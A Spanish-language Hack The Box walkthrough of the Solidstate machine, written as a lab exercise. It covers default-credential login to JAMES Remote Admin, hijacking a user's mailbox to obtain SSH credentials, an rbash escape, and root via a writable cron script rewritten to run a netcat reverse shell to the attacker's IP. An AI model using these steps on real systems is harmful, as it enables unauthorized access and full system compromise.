Solidstate Writeup

MedioLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
0510e71c...
#Root Flag
4f4afb55...

En este writeup vamos a ver cómo resolver la máquina Solidstate de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.51

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

El siguiente paso es hacer un escaneo de puertos:

$ nmap -p- -A 10.10.10.51 -n --open -v PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open smtp JAMES smtpd 2.3.2 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.7 [10.10.14.7]), 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) 4555/tcp open james-admin JAMES Remote Admin 2.3.2 Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que tiene los puertos 22, 25, 80, 110, 119 y 4555 abiertos pero llama la atención este:

4555/tcp open james-admin JAMES Remote Admin 2.3.2

Vamos a lanzar dirbuster a ver qué estructura encontramos:

dirbuster
dirbuster

No parece haber gran cosa…

Capturar User Flag

Investigando vemos que hasta la versión 3 de James se puede logear mediante telnet así que vamos a probarlo:

$ telnet 10.10.10.51 4555
  • Usuario: root
  • Password: root

Y estamos dentro:

Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands

Si hacemos un listusers vemos lo siguiente:

listusers Existing accounts 6 user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin

Vamos a cambiarle la contraseña a mindy

setpassword mindy mindy

Existe un exploit (https://github.com/am0nsec/exploit/blob/master/linux/http/ApacheJamesServer-2.3.2/apache_james_2-3-2.py) que permite crear una conexión remota cuando un cliente se conecta a james.

Mas info aqui: https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf

Sin embargo vamos a leer los correos de mindy:

$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER mindy +OK PASS mindy +OK Welcome mindy STAT +OK 2 1945

Con el comando STATS nos dice que tiene dos correos para leer.

Si ejecutamos el comando LIST, RSET 2 o TOP 2 2000 podremos ver un correo de mindy en el que se muestra un usuario y una contraseña de ssh.

  • username: mindy
  • pass: P@55W0rd1!2@

Si ponemos ese usuario y contraseña podremos entrar por ssh y directamente en su home tendremos el fichero user.txt con la USER Flag.

Capturar Root Flag

Si nos conectamos como mindy por ssh veremos enseguida que al tratarse de una rbash estamos muy restringidos a la hora de ejecutar comandos.

Para eliminar algo de estas restricciones nos desconectamos y volvemos a conectar con el siguiente parámetro:

$ ssh mindy@10.10.10.51 -t 'bash --noprofile'

Si vemos en el directorio $HOME/bin vemos que existen los siguientes enlaces simbólicos

lrwxrwxrwx 1 root root 7 Aug 22 2017 ls -> /bin/ls lrwxrwxrwx 1 root root 8 Aug 22 2017 cat -> /bin/cat lrwxrwxrwx 1 root root 8 Aug 22 2017 env -> /bin/env

Para encontrar ficheros que sean World Writable podemos usar la siguiente búsqueda:

find / -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune -o -type f -perm -0002 -exec ls -l '{}' ';' 2>/dev/null

Esto nos devuelve un fichero en /opt/tmp.py que si lo abrimos se ve así:

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py #!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/* ') except: sys.exit()

Sustituimos la llamada al sistema por la una conexión netcat como la siguiente:

os.system("nc -e /bin/bash 10.10.14.7 4444")

En una nueva terminal abrimos un netcat a la escucha por el puerto anteriormente utilizado y esperamos a recibir la conexión.

Cuando la recibamos ya podremos consultar el fichero con la Root Flag en /root/root.txt

También te puede interesar

Spectra Writeup

Spectra Writeup

Sunday Writeup

Sunday Writeup

Tartarsauce Writeup

Tartarsauce Writeup